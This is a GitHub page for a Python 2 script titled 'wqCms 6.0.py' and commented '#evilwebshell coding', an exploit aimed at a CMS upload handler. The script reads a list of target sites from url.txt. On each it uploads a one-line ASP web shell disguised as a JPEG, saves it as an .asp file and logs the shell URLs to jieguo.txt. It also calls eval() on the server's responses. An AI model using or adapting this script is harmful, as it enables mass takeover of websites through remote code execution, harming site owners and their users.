-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathwqCms 6.0.py
65 lines (54 loc) · 1.88 KB
/
wqCms 6.0.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#evilwebshell coding
import urllib2,os,time
jieguo=[]
def saveListToFile(file,list):
"""
:return:
"""
s = '\n'.join(list)
with open(file,'a') as output:
output.write(s)
def exp():
#buld post body data
boundary = '----------%s' % (int(time.time() * 1000))
data = []
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="uploadify";'+' '+'filename="conn1.jpg"\r\n')
data.append('Content-Type: image/jpeg\r\n')
data.append('<%execute(request("1"))%>')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="saveFile"\r\n')
data.append('/1212.asp')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="Upload"\r\n')
data.append('Content-Disposition: form-data; name="Upload"\r\n')
data.append('Submit Query')
data.append('--%s' % boundary)
http_body='\r\n'.join(data)
#print http_body
#open url list
fp=open("url.txt", "r")
alllines=fp.readlines()
fp.close()
for eachline in alllines:
eachline=eachline.strip('\n')
eachline=eachline.strip(' ')
http_url=eachline+'admin_UploadDataHandler.ashx'
print http_url
try:
req=urllib2.Request(http_url, data=http_body)
req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)
req.add_header('User-Agent','Mozilla/5.0')
resp = urllib2.urlopen(req, timeout=10)
qrcont=resp.read()
a=eval(qrcont)
a1=eachline+a["src"]
print a1
jieguo.append(a1)
except Exception,e:
print 'http error'
def main():
exp()
saveListToFile('jieguo.txt',jieguo)
if __name__ == '__main__':
main()